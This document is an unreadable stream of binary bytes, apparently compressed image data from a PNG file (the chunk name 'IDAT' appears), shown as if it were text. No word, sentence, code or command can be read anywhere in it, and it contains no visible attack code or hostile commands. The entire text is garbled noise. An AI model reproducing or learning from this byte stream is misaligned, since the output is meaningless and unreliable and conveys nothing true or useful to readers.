-ş'[(ƻnfkj6$UZoWwWZ̅9UG}9fyP__WwpbɧwR[eL]62QT7B=}cI_YqK#ց9L~H4`1cKFVd~홧[o<ӅF,^&WR/==5ޓsN4-Im~[/=k_GS<4y̍ezֳ[1dc.֧6|1t]Ykp2LGya\(?C뻹HBM?R+<\fgs1'|$o$Ow!tA_Z}{Dbz+EpIlɇ÷L18w\A]x?=Cԇ}"g=kwG+&Tb:`_<lT
yry<oʻFsY 5,/$X}e:S9(}/R,⬨dHD{Rk׈ܭo"cizB7y9䟢n#GbfwuPNO&N/R#1%
VǙAK[ٽ	oW73xa4}֧۪%{BV2kj҂|*n36#

^ƋWUHoBu_LDn@N[s	&&%咅;~&"Q6*\PpYFM6xb<ZImo>EgЬܞdßʽn	MߗA~oD~0pmFɁ|\ɶ*xdɫ[wu{VJw\g2N]kJ͉`괏ACC#lu|?dBM~Kp dݾu`D{ @==CxA,Im.\M"2`\ܭmb6r׋zl-'[lm'}cKAե"G$ԼCzZ;8ZKk	l=S䉛1G
;1hq}zF~IMU~$'JRӂ/z34{	s?

}m-
y;5V{A9c?	_ąxʫV4y@vחbuxƯ>7a<?xS#MI85{osSg3> ӏ臀L1aѱM(7~^Tr7&-KO6>xKȬ.gBm_xc%oDOμўDHvyvяrap<*RKa4AS&9GבKXC2XS?z6 ʱh8@OsZ?I
%\O/>Y
5^f.[ܩF֞0S3Y.*|_{s9YŒq5iIy94
2Rpf߶|I0:_Sv1e]HEXU̸oqs\])yZG.-/}~3ch4Y*v|>?7m8>ae?sw?}‰$<{tĆWT+ΧF= HϢ|8}kM u:5(/ڍk}P俼OI-X_G4	vSb݈@?#ѷ?6-2^6in`AԲhm6Z#k:+:*ᰄVC^Y{~ϐzv7AךzM2}_g>\@B)֓RjN=FWa.w\O+='3aPv3hknj#>a:aZ
>!ퟴf`QH짵 )۪`:Y	Kc!PCgچ'ux"gB=k*>@gD'(y0]?yGQ'^|u}
{AF'sً[jM"%tZ7dDR+ggz{lJ 3ݵ}ǮX<-Msr(Ep;܃e+'좏'('=+y#s8M0z_r6'/
D{Z&cS0wqMǚ+\/_@fq4j9Z#I,)4E@
-,&f;0
j-gcA]IĻ'Of}VK[t1AjF5%ȑ	_ǴkMB&p8Vo:A17GU6 }tr{'.4y	SqU=X
obɢɐWS"f)7?4Tl
^ɛw|q~ד$tzn@rh	O|7ӿfB}ʶ\/?\'^})u]}i"v#CP%8W_67ȸD4r+e6Al1~I#xxϥ	{pl&lFv}4Y/>=3jo^h0vY:%-NN_`bX6\gN~?0bkkDkƥ2>?Edd;p
-Cy~)/fk_o.6!|?
t3>2AORkplwjΣY4nrIC(-ֿǧ~Rv6_q[՟r>0Hٿ:#3Ycyl“o8R^0{,+p:\׆Ix+
<y%Wm^*0ԞX.T0l^V9v'_gr5RPlleCB$`}"nEbݴ^Y]RE/Г.uiI|PP\8Ih[xsY/pg-"_qO=o!_\~Xp]gjn-hs_N_od.oNMىU
FZ6	6x(D~P}Eo\T<%+~X=IluXzȝigD3Nk֫z?qHu^g;Kt]~ldžc=J8MI&M#Oc;ك⼏#	Pg|	!fYvI!_z|[JDJ9Gٜ"FzټuR]:Cgމ|=O}<&zu}
߫金WӁ/ij}MDd wTOw2R8z*R{ ^JM.Xx7"&K/o޿k["|qiqI5uGE»X,O,Bf:s˸hz9O^y}#rKMA`Ռ{/_&6zzDpQf+	X:I%x61݄Qgg:0:lq5˭4Ü8OeֿE΅-1{3E7.[dw(d2n,9O0G>7LpYP<_xrX8	ة Bm'~Sya|h0Ut?Y_.
sD'K8.	l=
#N/젨:<D5vN\qh&֗+B>n'P$`r?|;D7
${~'[Axx_~mkA=uR!O]5/~a~|saZO%9fFz<\qS>O{?OűZK>NMkO)r]2{๲9ص$p`>g!]1v?'ky;'70l|$
ʎ|t1ۜjx5OJ4OŻrݮ6.T"G_7
B3d!>,x նs4JIN7sm73.\ԙP|e4қs(7rxŁl#Se`<ohm9эXXCXx/]@2Q@ `~V-Tȉ/W]?_?Δ?9d>tɏ1imz,־aܷϓ{M=,Yem'AYRMe*Lj<p;dhw[G_M7QxNK<54GWue
$͞ӃXS󂄼XIxtU/'s>-qlw[;;< Lw}?7xϛ/sx:?l7ZU83C15%8՗I5D_H%;qMu.?zFbrG3//D}δ}i[&G"%:yse.+}(_ö'oAt	ˑ~Lj?ԧ
Gj,ryv#%2$,ENL9kQ.w0iVW^5
|[Q7<}
s!K%Z`ET2VN-.14>Ԩ|)rI$81Ɩ淔o9Pś7 1of`գwv&ŸO׎'Z`"ZFїH&'9OFLc }ץX19L:ɇ1ayJ9İrQf)r>D~Ig5=N4yE6!>#5}7G+ASZqkt!L4,A;/(x&dc,T[^Ƒ˲Lo	O̧><oMFuwP&r\htqľ(!7{i}rzUd7?LE?".㩙f~nM6}w4wakޜ?}S>i7NrE$St:#q8l,m'r=r]ht`'YR
،]4l|\5?n\	3)Uv3Z#t'g'pIȸwv[.Uq|D(F
h~⸦֩{\5=>d@뷥%;I	){fd~SϚV/ǘ| ^rWTv΅L_3fS&nSCLF;>{8}AEj1fm|֣f>WFw۟Y8Mg]51ef;uŏs	Agk3i3Gt1Mq=	b>Wk!x
5?f{fK>k$}z$?J~E2a[ |zCaud~Kq|7/%X?d7D^rrLnb73bOEhO>\\u!pst@(N@tcodw8^<īBY&DdysnzUR>}u}%"?^ܦjjm@ KN߃$K*s0^pE]B	%Igq{oؓ{7o?@ ҥg29. ke)
mߑeVyD4/
rOs[oIC].qq~7]ê1q̭Λ\ԕM\?際zJOE魂e'Pێ>ؠ}i֠x13J{=ѹz],QE`}!aLE[++.֯`2}Wbb!D,e&g-(ݥ)S9ئu{MAW.q *0Gk,9'
7ۉ2*χ%La:x1`-4dٓpH;%6NQݛF,gRC4_Mq+l=i']	,h*s
׌zg"'ľap^P^%Տ=F6/Ɠ>m>eň4{
lo&{e[S۳3{c{	[=R3}_{s_'@H`SvD/'vr"]aW$=)Ɨ`u_<>F`Ӵ{üϏ7cćŹb=n/nS
kX1eY^LOQE~wҩ 1//sև:	oj~r-sKkN	Fio%pЭǚǻ /Clr⥫9ߴBo֏7WغǖO\1#u!_vʰ	F6ʌ
.bQ
?1<'+ Wޡ=KG~b.qR5NF'/Pc,>lR͓]G=FE?"oZ'~q+ZG=BvCiH[^b7A1O=6⨭IK8S1U"XI?M8Jd0?
	$\gtڪ94b1q_ywqA^E	SUӇ>>l_/]h= ?hγj~r@zrȫ3qHD@+h!gBU~Cr),Ļ7s|i񘝝/l…=X83$o;Gy)W9@W?vo%}(/<>7B2gfHϹ,}/fȕ]<qhX+$e(9Z~`fYeK՝tͨuVYG?N/}$8u:`
%luqҺr:xb=8`M%7<|fDz#7M/?=i=ɘo<_ٗC{Gg52UTUU{{RC
%0V89ύǂ#&Nq㭢~*~Y?yE?݇ӌ?GǾOy},65<g犰s]nj2
М:B9=-CΤFYy'6\o`6(^=!G޵9z>e~=. Cq1NE13/;&`mV 0>'&;u~4w⻉|f'4xH`snx!aE#ghD6dJn|bAfãZe7͉s
h40V9\OmEvacMiɃQld^uLN^Q|ڵ/Pb\_)KLד,+x紉M{
yeiC0;>xf@L!XK$ԱZȒ'"s9v/Q?xNHy
!:|&0ݺcTQ99'!n:ƈ,wr*.쁻''O]-,?r,E/ŞcO1;++6?ӟ7!I
O)e
YR݋aZoc<E͔{;rW_-T_w3FpIs~JwVo.
:3nL-?b~Ǐu3Ro-
6=F^h{i7_V$2;4
{G&XE~O}#7SRs~7٭į37ۺfjBE+6gK{9>ϯQN2
~a_IP?U?ѯ|ܺ9J +|{вa{
F9@j~>νb/cKbс"YQU_O{O	/|C^DLx]a4鳥LfS7Ef<KCcgN/Xo!G
.Z)>{Ƿ=>_SofHуqo?ϰY|nVK%;i̩rn6gͥHgE9J{Z5QDTm'=8gc9]{-~9PɓWύۢ<+-,}5A3h`:$i4ʚs4:ً>Yd>ues_fޅOE𰔇<bR7и'ڹ~Ff<9ՏxhtZ<̬XO3Ϻ97qjWHaWE`NNzzYBߒ;vW}|ݽGۖZVA95ld4?
Yo^-xcƁ&*ZS[59$y>_$TISh9spݢ0.~\&6!Ac3~,YHLxΆO#pyxY/~Ä0MVѵ\ldMq7FeeRcf$?KsA~2mDCr-m%<q͈>Z;ؾ@,^GG	ҴyNpra
^]Lɍycng1}[чB1]lYʏgX3ȓC"NkDnq04kM,ۏ7qpsow
CZbzs/]7"浖Vk3gg:R3?ʇKZPmQV%N>LwMDOhZM(һxP{Ay34nC8s&u<x-̓<VW8y@r-";|[

WZN䙗;c"w>g}ynktwda#&2)U_+ζ=7#uY~}hIb[[sv-]ۏ	Q^dFb?f>c=Z7} oR7coÜmpxGC#M\$F&:hz"C׊-kdb;rSii4<;D?o>L~-g'i%\blZge8j$>~#sfCca`qe}7s-hZ02vf+76d6hJ.QﮣDIxLœo]~P-zoy?T%
=Ӂm3ϸxxVɓu#v'V{zIGx	g0[j? E_8Q^{4ZNfPoMTj<Ioœ2gI iowO~aN^ϯfcK~E _-Y{$[$9o)Bnk.>s|9O=f5z	w73US3s+Vq榏h2òGˁ@>̹9ęD%'؃s㸷W\}^l1S2xGAj8:6ƺOU[Q7xkAU4^~3WljgE}UmumI~y:ˡ$nܭTK0.0ni<G6g5-6t2WІ7W^Ô0Zx=?
;9ZLZ&<Gp1+$7CDJ]6:|?Ϝ09iR֌de
ίcX3Թ`l=絖EwMe}kDG<ۢYG	n!䃈|\2G&صVL-C{|u>1WWoI*ButdYZ~r	:kOdN@4Z?7t|P3npǘ+8]gZ,leTztT{b:lD
jq9jIF :s2\ILbԅ7"u&'R=VWZ'TZ?
>mX6q3>vmeڐz5
aO!+>:?q,1oGuqLN~S7h3wUۥKy=^6/@tެ?7/gz:b>U?Q%.'~gs,GoU}uV~> t-D;3O.AQCG_Lt54y2/n81Xvc%5_;߾9Fl'W_i~	Pq,S9y|)X8c3!ٰˋa\ׅ['QD:,މsIDz]5p㐩.bc[h(JҜN8=^
;6_m_QxyY,!f/sc"G9ا*	}\{v`vؓ\{3~#>;\?xGZ8m_m9GMHymÒgg_"jXn~ߒ/oj{x0iˋ4+rMXQŧ_ӣ\3C9L_wiy#ns@IDATMh&ɳ/:_[rETCls݆$^ٻgp\3K
?EOeM?cѪ^9>I	.՛՟vyws$)`LO˫*79g ߀	z֠}|\x2Os_\}@@WtϼuΙϧ/<3*PۧjSvxi^̵gɟ\	yo>ՍN@q
pȾcO{Kƕɏ"|HY,c[ӯ^Η<'	cx2s+~υ_݂.4o2}W1ˏuy<wkC1){7S]\scY¸0@4^{_0,n):]9]r+,]qI&M,RF||פur2G~*bg误ۿ8cz@azm{5JVA}u%?`)]܋F|þP/͕֔%hO;?k9쓏u1""B"h3ܲoqF\Y.ʝ`u{#_'l!^mG}{jV7t:tZ	65xZh%S|<	YI7v
b<6Fڕs	VG-˴$H0&7{s$טN֮_S6'L˹\ou5AE'Yp?~4Ћ7.1,C ͯT3?laѠ_?,,:pO}hyφZYiML6ql/77ZEjbPo??q{bxdjG?\U)O͉?[uq)̖ǕXnݻ!}tcL6Nx
.q׫4xڪH6p'KI҆i;bv8É%^g͹~{~dCmy뺿gs4\NOG`g
>,)1т&d9Xxq??O.ْ_7෶Ǿ'ak5t91Gcszb
Se3>FsݼJ>V?'jG`wficOTjK{;a17Ip`L7Kхw8gO>-;moZ&,y2e7"XMyybW#<_X4ZDN-/2)o)r'(-ŏэwg^8Мxߌ2s㙺7G%C20%2s|ׇo˿ęi=&-uܝ7<uRVe-'JveڠjuZAɹ!xQ}	]:\勢x>okZ鋦<;;:|a(
nQ֬}λV%≁;w~6?ySyrpp
=ɖl6g]3=sO>~Criv%1fE}>T抪Pa3*hnnsNҔ#5|6
.zҪs!PK
g/{9g%3
mݫKj"ܿt[hAӄ\6rC5Y;^]r&2s'h9'#Ž%AMA3ax̸޿5Cd4<Υ]=@U!]as  qnSkiCշ?r/@Z?q^3ْ;Tq^]G5?*bJRXgBREվW_$ҬNl7eX{ӿX(oLaRۉ;Ib<yg"W\#_is<g}C0'2xӿZHYǧ
vNa_~de-&ο_ZoI d7st.RY]96q'W9M|?7h`#?[lnmpId=5dg3|#[9_ׇоVtD;6M<Ĝ%f<u\Z[9<,9`!7;+`[:N?qdSJ~J	+=c8ѲU-ӿő\kh개EFLpk~pNp0q4-uӿ?ha@SrR+w08	![.<T{~3'~mNȣqZ$$1rӧhlğ|Ӊ88M\]zg3	B]sILgֶxkr/O	cYa3ƞ_sG.i1}S?`ʕs{JxU1%:{l	Iv׿5=TX>߇7߂+{l7.,ntsz(\>+-	_Iמt!u }9gGpT/kҸ2Q30W	zeuU4SbŅ)hsqnZ>|^th
>՞?01u>q\#ff77V%>V,~h6O0sf7HmJ7N"T~Hw!.?ک+nJ:rj_vY"T+5fU]>g+XdpͿZsbt沾>c^ﰙCJ7>؎6}^[Sg3aVqwa^8~q@l|PTz7
`D5$pGB}IQ	o־8*-7АK+x*&:2p[7OM8g?OGnA0A/47} 4Fk^X3]=[H1960xn=[KX9r3~3yұ>X`3.|}fNXgDav}["$|^S
`bk#`ڀ^r]GKb"ᵜ֗5DWWvVgt80f#{M]oWm|p+pVuaPOھx8@FgzM)M3?psZ	r)@r՘WѧS<[d{xq'l^IDkomIȒ'=rE\^[ڟ7@3b=CNHO~D|SiX>8PŚfq5t~8:u+>d*&,9oZߘN/ZNE☜,n-n'|9~XD7)`g~k#DYհosLF@օߩuҏ4vaag@9fG%>G?T?yI~؏~`|kFXa'f~Rn=swu9/EcclRm_d_}~9xA|Nɂ͙0-3"A,)T˾Ɉz><FތN
?dsޞعDy\eyż;C:Mu[-?\ӋN76ݣ ɿIeZO4gЅ&Z'{H):~_x83/d!V-
H?_8?܏1Ie0~zvWĵ;DO,cPzm,k߆q%Ysh|cM@]gFzop8D.=+*7:2mRf;o4O5{<}@J_2uHIynydotM{
muмo`Mjg%A7Slu4:?Ѵ:~I"+_m1O|f"+#^ScEyɓĈ^yQ>?Utr8.r"~v
d"uSrqBN~枑/s	tce#Ʈ8{cX˼ׅcikswr7	kLԍ*_1^nE
|@C:/m[h,Иjs-bL
"3VEroXn,d?.
gб2:ǙIaݘvG}Α5`W?"RMͶhD*dӌ}L&xp~`j19xk;+d+y]*sYT\8SLo:2|Mu2'k\ߚ(Op2fGlu&Q1pӏKw8G=jm{bW٘ #۶U^qi~̗O
3*R9SJ0;/oWy񲑃i9z볭˕0Mu	nF֋;Bw>\ÝoD`ύͻ|\]ͯyxB'6ӇĆƧ~47wv/=8O\z9v'1OێsY-,KE˓ʖ*EpOctqO<y.7~ĬAakexi.NgKǖZ+])_+y8+ewLBބ]O~zw?L>Ʌog{Br.Kf`ݾ"46#z45O'=bYzO#Hz߭_qR\dg3y1Mަ$OFoL}{Pc!5]78Qt{QUtjde$رmvdsOt$`
Oᱩr$`gbw&t{m_H-/޿Ļ|xjC8e
5LyizO	#<eoA@?+ԕfrr'`?<1]+2L"?l33.y)=ϰxмcゆlWS&w
=)zhZxף+d;~ p,BJouM!Ŝ>
\ol_߿3?ԙo%Í7zf1?_{j|!cQ]h#[^7~T˵1OMsrGIC7 p<>_Vv_|%2op#4	L3HG9m~k#HCNCkAmHVsר%b>Pт_qW[)g.K{6^	<;`?:vo?3pe9A#믂	aFLZ1𬙃0[㸙Q2F{rM\Ov4Oz,f.7,AD#`d^c@oMmYK~fڎ9oWߑOX_bSWʉy2r_PtQEXwIepmq^￝}#')18]Vw}wK҆ʞԈۭ@Wunys<Z~0?,6~B~kx:-.P&?esZqi?(P,Ao/f\?uP#>~ZNMN6,N5=@:e3UqmC,߫qi)O|G$G|<9ܵ@f/KpJp3!7eKӫ|!Oh't1c{䆏ְD<	lpgNv?I$Nhs=.ՋwcczɄ]75?N~9orNOڭ1!0ĚՉ=1fh>xE58naqoƘ+/K;lк^sPQgt[welj?E\֏Ǽn̽flEf؝r⏧+AѤcü'Y#
3FA5NߌO[La?y^ј*)Yk;xO@Z3'խziNޅ{-_;-<<u5.Rh˽gkJ0Jq/R =KQ Rֶ6#+nrf:G.\8N~IZZ"TZ8M|'e){*,W{d~:L_OGDSg4lw_z_QDj;4_F>G<ӌtY3\́s_pg<+@?bƵf!j(8~.3G
KrYW|)	n%o|[!f`N=0k\[-N{
-	gC6b`4*G)Xk
>1=-<"b)@Fϲkׅr8j_XwZfAl,[%l!8“C~GTʃ\Bxf5fu5k7nKF=z[$!V=͏Qbcfքm=6|@$%;RYI#EdƞRK7)T:8T3pB?錿ra#&;':~V
2Oq^4]m+j10NZa C
yFZ5?hP{^J~e2޼$r:?^<qf!,#?0ekb?,Qlh*7KKԺM"_7io\mb'/
&bq:BPz*'mO~u1iGe @O!B;5:<P'OιIQν諟E~<6'{LA}P(mx@aL㚮.E(w/A?0^|$4P_ѵ*_څ)Sn0}jvNc6oۿhӑXoԮ˱OstEWq.U/k??3n, yu.vqx¡Au?.C8HysѶqyf؝L"AP?a9}>b?1{-?S̚!⻗Qm6K@9	tY7?!Ęˋ3~wr8v_y
hLYw{$s36FxU	zAíϫ xoH(_q]'뵴;}T3	W<g=+nuţo#!g
)s/Ї`
ʐwڜ
H|,1튄Y'ks"Bg9wҾ.2xJA냓Y[ԶY??w\X<ÊR}<f:9o~Wy'^#ufct)3]G|y?|a#xO~jWrEwVLx|s0;r}ӌ^.Voywjk]Ih^~'S& uGhXOӀ*ş!Chdr%uaOFm217߁^!I(\8[PZxDgmӱ%`׺&Pj#uI26+`uSkC։kVaO(	QGjQSLXwV3
?OzP?7CHRn(7VpY7S
6X/%LuΦu!x-M-ZQKcȟ*mKAp1pkF$l-lؿP3|fY|Vf"L-7~?Rn{Vyf{[[S_^|D??G:o3-BHpt~:IO}f@j/lVka7"~BkuI=I'Ȅ;151<0j6޽L~\zjOn|C0ߝ74i'zRgjkz1]'	S`6fmx9ӷ=ќ̎p@v#?eL
O,)jfKhN{yK])3%Qx&QHIR,=
$1IE@31k,@yıA01>hmz|g׽`جc'NΣ_	Dۢ>a{LJ/b's}ttn8s~`)fk@k rbK|%,O5s=f=UgIϘ=;c;-'+
dG9X/&=oq40|{O&O)}|M/C~P|qYe,lC5C	M|rnӀsj&G~꿽Wog^ڝT?krFx'>68ӿO5rEO~>mxŪ0^oG6mzxDH!e_@!7oݳuZdYk`k0<0Оu7bTi@?3NF俾YkE%%..Db/SA)=}V.fXWNpU<x5׿#xEk9|ڰ^>l)5DsM`)oB?sLmk:"=3άa)Y^VpOO'ķՄ=gU1U`ȯ@ԢC	;;46yE~l`ag8F:\!i^v\5lV'$_kAwf%)CIrpKXFnehE`㴭?"*pX%ۓ?{X( ?9tAa"ؙ]&ÍïǜkŘDa12Izl|
<趃Y$'xsxj<!i7fљi(C!Fs2oڎ<|?iLӯ0)YYJ~^ʒϩODk̊)z&	tc;9>)̊<;gD
N4OɪFtxx3^Yaɵ]Iy4@xM&od	NrwxvN'j3;3	{/\.ܷ;Kp	X~)*zotAe]J\eJNC~>\/=7>R\3s(@0j?MIov,[8L@΢>
5❿+𠟼60aLϵ}Oec_ě/k_i\J_gٟ|l/m?=Ffv,~pp0j?k9䗤ቚj^O~V8ݿgXxڌWmJ<7E^?OFiW+2v[lgLr~\kd|
^3fhs&^V1qĠ?Ki^so-uu<dΣ<p˃Mj;.OƜ)}z_]in
Rh7ֈot\۔a2lo~(dycA+|ev&}bے@rpぐyz=o";v
š?dZǢO{<kؤ-u74x&c[Jй{%r5o|ʘT>|v);oߨvnߓ5^Nj.!xeN7~.l+d#&哎op+=e0OX?}DXʐb!ys5'Bnr&ZIxs
83.g'\27gn_(f6[ii@Hx,Tar`/?'` TNǒEw&гlya&Zb!g|<x;JqZc<Z,kp~zv8d'}6;!_a6f`KNVZ;oN=/<൛CZO
&yߛh)}n5E@8X4[QK׸O~O>vƩ>2	T!'n\/fu_co$zq0	K|?V62aM'kk
]CϑVCGa'"8]K!'}5^-/gWaRgӘ:HzaFURW1gfRA$cQx ADk qsjM{Xŏr(RT2QߚI1N8{) \n;-`1r]?aKl:uo!#~u+AJ~ӅR;}1w韄wi=)̼GW)U#s3OJ̆`_Xd	9Q5|XX;y9:c_?.Ͱ`?oѸxj>́ͯ|x9?Z\,Ʃ^9etҼɯk0F3k41'wX/K_yؾ2wo-oO<d,b/^9^jηv>qq.	5`OkV?@f/ѐyL-Vf}`y
bҺ$'
xm5&`poq֯
GiZSu{zl<XNJ*Լnx֎Lz9X8z{hͤgCl__w7*!w
M-:D2ܿZcd܃gJ8ea30z޿8X/>yX/9FQ߬9	֟@g<K<4MIk潟~7fI/U]Ea0Zfrb<n]\]8){
T|<:DŽh-yEal?V2x<.=Ryz*|<ּ"a!nؓ_զk0hs&$Тpob'<.@MgQw;җO5ß
(!ܻ$rkY|~VPv
e*zridߟMqԕ~Ykbh欕t=s/.C)*b(۳,iY#/`^%~ZV_m
bgsJ7sgoj4X5[oc@UēM@5QPe`9 E{dD
Gk`"44!X֫gĴ0Å
 YT:<'Ř<'_>518:zN-&*hEL_-#p*з Ő	N+$!+^Į&<kBYXoL*cЅW	qEYˌqֈET}RSNXd*2?
*:?&kO?,;b;l[V'8rj`Skj[y"]쏴	A2kA2SaБ</k|u=8#=qncv\ھSSGJΪ0SsTLz˅fM+ǵ^Xe_UXBJdrz/Ai'aG|X<[jÔ!87w(#όUwR+gBuI~hR%0.S)xYGl?%g}H \l~0#X
/`,{?e,i2C^+{ƄMNhI3</އMLm%8Kg}Ѣ}K}ѿTldJ~AW#A:?*SKFnzU|*xǀQgڜ`.X-~֏iꤕ~`+ :uټT0>$`@3ѵf'5@G8Wj	zjMzӣo`r/NԒqy}/;yROz]ί&pCf\uZM"3JAy̟ԔmXoi24.8PnB<OnI+9=/T"4g3:a6YGΧn?\y^yeG{4e
*=Nd~UGlJVfD6SMral2lC$%,m~hsV̟z
oՏʟ	raЕ5r5<nnG̸Xz8zY	n_E;<`F~})ѐ79&YL%cn-~xۂyf8)

v)	]YH[|g,|8v?(H[S\k:hecS!jR~`́}L~[۔ϱ_V7;]9)s!=Le}07?\b
^ld@"9zGt>2\3-fx5IS(ƩR6QCsֽFb b|c2ķݒ{›5m]a`FnO\	 ߼3qЃT2M?Qdɇ}?niTSX66z/3_F|2F@p
Cs8LƄlCl%&ak=g)8t#@?Ɠ0cq|N5f	a^"g}:<afz:iecpmi 4]/w"jTCuw?<slDyϘooۃ'Q׸>j{և`ؓͿo>+@!Α33P!>߫UM,v[A>-ۋ׿%>E~sWu<0FcF	AOq.u>x{!7y굣&Ȅ:dF>\{G7=R5݇Yyrb99	彘պ{h1&)9A<'
Z;*y8ko;$͘y?ƌ1~71U{<w[fK"s^#q-.vu
9?P?
pz9j_K85}R$8le}Dorrp0@*j0sy?k:?7jl}mw6Ǔݮ5Ay둋d<8QxG
֩Z<y+3jkst9Ÿ)@N=W8+6KaL,ߢ'/h's9Jy|,oWlz塑ώ(]R1UYz0[y5fW
'}硳[xɝ?ڳ6Mtz%~y0b~L}Ӽ^1U{VQ~3Jڜ:4a}Me\, t<&nKu?<p!SM#اz?NW?|(tuNoXuUÃ.}jwU͟^ē:m>%VO	.K-תо\gi4\ƦyR~17w*AWvC!>7fXiŗrM$+563822dY!jZg3xR{Ifzn/d;d>T޻jwb⋹(ENRdj`JĦJtPWgͣ8
<^8[d;;,0R Vr8EK7Yо<quvj+rc01[cԆ/ђm56F0(]L+v=P(#)5ѿy+vŐj)o	E' G;<+^ɏ]wX5z,&:dž1
/Ž]!dKY<x\p'*(Z~&ǘt?/J?x@;Z/GoƳYmN^.<XTvrSb9,\&{ :wx;xHRD@fml~s`N&RbʺdbC%kO^׶YG~L-gy4ޚMZ]s~KHէ5eNR"{Xu+=gN!"}>sUw7f6Z:ϑO2Ӏ
~dM
Nr{P?!'qu۷R/|/l_8f8wiܯO%'q=r^ [W湎8R4ނcr"Xm˚?I{%t|x9dZocj7ym=Ty<O1*R1bz_Eq67@D\ɜgք@bu5h6"y=쿪w7!?Iy |&TO~]fqskFb`8'?fx5/wڜ୼́KM¤^ǕD:F8YÞ($olM΅Kqmfkww@@x0!ֱD~隱c@IDAT}¸뿂AQ֠$_~:k-3uʘ]bi=^zO 
_-hzNzR*26]!PcG s~<&%q_/ ܋9߰FmRl`b6ŀ/u+!2_<|SiBlc=܊\P"84IcPq-P-ݹJ3;rX<ױk֘,h3(soIP`'s/5y@ }u5t.o|
sl}LIN\|)JsBa!t>kLSi(ź3Ƀ.ur:z8:sФN%t_Ē1N4+ky9هXH}«$bc|$:suz6Lyz&.b<2QƬ~rڮÙпxzO6_Nz7b|~hNY٦Yj_~b֚f'à)slJZOFFc(fZ_|1pW^[,K ?V8k&(K䆃oAd7^?X.ϮWskm`vX;,vo=y>lbXܛC:j?౞&|SA~9d\V}kt<Q3 8cX' 2ӓUJ߈Ƿςw5Vίk42%^܏&Z@)t&qbS'
7ƒyRRAd뱭3F]vO'x/vV"A<xv#gupF	m
0	g]?G@lj|/:GƮN/>?skj[s{)[XDBV?ӤφӐ2_eOT-ԯ͎Cd%]E_2}/? n(0,7FWח޾m>|f!8lϞ^9w_瓟2W~S?=!\5۝bAa~Iaqx	H-;{{+:6;jI:5##!0іfWz^F<Y<X2!=y_|Z-̺ ~4Rie.ߎ zM˃~8ͣR5g{ğ>=df^Wg41{/"K}߬ѫ|2{pW#0Y4MuUy|
@yZe^Q2#]D~e3
A#;@5\=L|\`1ԃ#	5DAkhDA||sW@/37i)vo(!:?YS_ɿb"#æ_N>Vק~<NQqX42ހ{*@i8)k>+|_o/A
K:$0U0a׸e($;~%K_̓踡v2t\+S@?N;NRx26%b6@%wy#pm2N 2̎k^Q>D%'ğ4 / $-աu4r7La]KeQ
>+G`;	n=J~&#}ώ>oI]bo-)$e4VtmOU̮)99OMx[HHL9a7
em,ٵmoO_Гdu)7"ue4!e!kߏs*4g]CCIkcruA0j|N7O@|Y6P²$6fiYڌhPjhzbgä!h/)\?-Ԭ'rO pQߋ5}:je
p֛>"%K}WZϊ|?F5Xp{8֚?8?GK4E+!JjREc_Ġy/4l]YHsGq9JvCjEg%~6і*zgⅼkܓb`*I'p]3iJ2ZŜZY'p/gן3wjy29ɱڭ[IZM}g g8QtqWjGl
6tOLAȧ<oR1%=1@C/lg3gmt~& F3NB=Y(r)yh_IJ]o;bᅳnz4!u>E>qo?c~{ /5PTޞHKѺW1"Ζʚjug0Sq3q5?ϟ?yx?js</ۓycۘSN4+|ϩ'4`SxN\@c6'Y_?p6TdHV;SC+s6Fup-G?i΢0J&6y{jVꋽ ɟ|u}Jj
G{$Mтxsz`ì`Gc
EkPC\={0zy35ܟ,9Cɂ&}œ7{hz3eЮ~?L@'uA{czk.IA^:ٝax7	6ȽvLJSMn>w;Oڟ{q-Ssሺb׶>8I|>/#Z42FN0jdQ
&.W|iV+tfhObX37Ymd52ŗ_Ӵ$0Dm|_`m!y$0kUX
	O9Wi֛5g|?7Q#}%a>5S9?ǩtkb>t?48vK"Alffߜ;0'M82=E,36Y4gS'Gw~ɛg-7p=}!A0N,6<Ο&#A v7֫#}uNZu<0GlRЖNP}bNǦ@b2x#JbjoS#8M	nxfCѤ`ǟs%Y~Nm p]errYےF+;sgd/ t c#9L-
_|Ȉ10uXH:SvV{侙:%DћuZ;dJOr{n~3@GtymTp_6SX^tzqp#cʹ;)\]LDMqxf仾O		WH<ѽ7mSԂՌk}ѢX~䛡hRO[S~=6xO\e;
|!MmNbke#Zc7F4'<an|s
'YrO
]+XmcTƸZ'y_l^#?Ok~~b8j[׵@^0Oq;&y2CUluu܉ndTKfJ>'/V|:l1;iCYE!/VWL6u~0\c{;	9O6Q
; bC	kgMA0<GC]2
7:Cv.pOΧ9X&osN;j7&io"}D ~]s2yJ_,i➔hߎ}316rY@EEEtlZfK9@mٵx#Fj#OgpPP3S陮яSwBM"牟o<)߂gk%WL,HINs#NFD
%|͞-o*CX;SkmCm\tx`s+k`
0Ox"&zȒyNr,kٟ{\NVf~ DŽؿ@`/PgsF?7<xw'nz|{Y4m>RքnЃ7%FFs3Уx^/ߗaފ/ֵ:ORpK6r

#G륲cHQv<92oB=]r%TGQa
uu;FM='OsF:МmNGHf_P:B
u.O;E}-*!{n{::
7zn4^MpG0>ei8\ͨ/=	[/Lu.\o]G?q㊷[uFaDHif]RSҖ,Q,M6haqsхT>$6vG#֪˿'f}p?<}#g>p]1V:_!><¬'(~bG=TaO)iƤ`Mzwq7ȶ\7.yrNs
~:	Z:7Л i)Ɯ{s +`F?!g6j?	poRn5gpıjWD)z|Dδ[S;d0s.&ϛ>cIߜsK`I}X{[~#j
=DsŶ\/™R۠K)hn_h^ibE?%{1I7F~<O4￧OA}T%\BjìA@m])qO#i[gr-͛?{&!-}?^5Wr<}UPkGfWߐUy~6V36utjL]ՐkD![
	Bx8?ybnm$=!=kh 6Rs1O̎?}X1/5Ip|.@vy:$q/_O*Vsmsۄ}qZ?!bqywG/v:p({LӮ#fGi7oN).=7>O4,W`;|s]JʷaP\yFw>3v9%	(v\6ݸ"럡?	%H._Гqv,Bt@]pq,8F9׃t6k:{Y_@1w^N8J6;#_;p;m7ܟa^M2^gWQx?p<{mwQ&m噿yN_!y
'qg_j1^bi	aRHbvQ#y#^1a`|x68C`˿uŇbB[y!lE%
M.օy'/
4>Zv'C/]ABF:9IAU#KM3^n0C>@N&l*Ym'KS͛oE|!*
G1*1~ݽL,c=qSxrJ1 fEPC&em߃|A7	7-]M~ry8A9ޛw^>r&E+M̏\)a'WU)>
|,Ʀ-#GJQUiTKpڟ`]$\\G?0B~oBoO)fxyzgZ6 $m92i8ݫsVmvNXgO<C6-16vY	e}8X<gux׶2>y&Uuh$'|:^=SG9ko6Wx<;k2H+pѝ
